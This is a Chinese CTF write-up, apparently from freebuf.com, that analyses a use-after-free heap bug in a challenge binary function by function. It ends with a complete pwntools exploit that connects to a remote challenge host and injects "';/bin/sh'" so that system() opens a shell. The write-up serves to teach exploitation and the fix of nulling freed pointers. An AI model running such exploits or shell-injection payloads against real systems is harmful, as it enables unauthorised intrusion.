初探uaf漏洞利用 – 作者:星云博创科技有限公司

22次阅读
没有评论

前言

此题是一道较为简单的堆,适合做分析,故此篇文章以分析思路为主,汇编层面的知识先不做讲解。此题考察的知识是uaf 漏洞,漏洞的本质是两条指针指向了同一块堆空间。此题巧妙之处在于有很多混淆知识,比如我们不能用1中的flag,必须要使用3中自己写的shellcode,下面我们来一起分析这题。

切入正题

首先我们使用checksec来查看一下

初探uaf漏洞利用 - 作者:星云博创科技有限公司

用ida打开,发现好多跳转函数

初探uaf漏洞利用 - 作者:星云博创科技有限公司

我们先运行一下,一边运行一边调

初探uaf漏洞利用 - 作者:星云博创科技有限公司

先执行一下,随便输入点东西,发现退出了

初探uaf漏洞利用 - 作者:星云博创科技有限公司

那我们接着用ida查看

初探uaf漏洞利用 - 作者:星云博创科技有限公司

这里我们看一下选项1中的函数

接下来我们进入switch循环的case1

初探uaf漏洞利用 - 作者:星云博创科技有限公司

sub_400D74

这个大体的意思就是在sub_400D74中输入字符串

初探uaf漏洞利用 - 作者:星云博创科技有限公司初探uaf漏洞利用 - 作者:星云博创科技有限公司

sub_400c26

下面我们接着追溯到sub_400c26函数

fp为文件指针

初探uaf漏洞利用 - 作者:星云博创科技有限公司

sub_400CB5

strcpy(目的字符串,源字符串)进行copy

strspn(要检索的c字符串,要匹配的列表)

意思就是做一个搜索

初探uaf漏洞利用 - 作者:星云博创科技有限公司初探uaf漏洞利用 - 作者:星云博创科技有限公司

sub400c7e

这个函数就是free掉堆空间

初探uaf漏洞利用 - 作者:星云博创科技有限公司

选项3:

初探uaf漏洞利用 - 作者:星云博创科技有限公司初探uaf漏洞利用 - 作者:星云博创科技有限公司

sub_400c26

初探uaf漏洞利用 - 作者:星云博创科技有限公司

这个的意思也是申请一段堆空间,不过这个没有字符串限制,之前在选项1中,是有一个字符串限制的,因为没有f。

uaf漏洞的标志就是这里,两段堆空间,当free掉一段堆空间的时候,上一层的指针并未消失,此时两段指针都同时指向新生成的空间,我们把shellcode写在新生成的空间中。

选项5:

初探uaf漏洞利用 - 作者:星云博创科技有限公司

初探uaf漏洞利用 - 作者:星云博创科技有限公司

选项4:

初探uaf漏洞利用 - 作者:星云博创科技有限公司

正好也来详细讲讲这个 __snprintf_chk函数

第一个参数是要被写入的内容

下面几个参数形成一一对应关系,前面的参数是大小,后面的参数是覆盖给第一个参数的内容。

在这道题中,我们需要做的是写一个shell后门,然后system进行利用。

最终的exp:

from pwn import *context.log_level = 'debug'#io = process('./3')io = remote('111.200.241.244',50438)def  ptr(content):io.sendline('1')io.sendline(content)#定义ptr,选型1,随便传入一个规定字符def  value(content):io.sendline('3')io.sendline(content)#选项3,进行写shell      def Free():io.sendline('5')io.sendline('N')#选项5,free堆空间def exp():io.sendline('4')io.interactive()#选项4,进行组合ptr('a')Free()value("';/bin/sh'")exp()#调用自己写的exp

UAF总结:

初探uaf漏洞利用 - 作者:星云博创科技有限公司

最终在远程打通

初探uaf漏洞利用 - 作者:星云博创科技有限公司

小结

这道题很好的解释了uaf漏洞,也告诉我们在我们使用c语言堆空间,如果要想清空堆空间,那么在free掉之后一定要把原来的指针置为空,这样可以规避掉uaf漏洞。

来源:freebuf.com 2021-06-23 11:47:57 by: 星云博创科技有限公司

正文完
 0
评论(没有评论)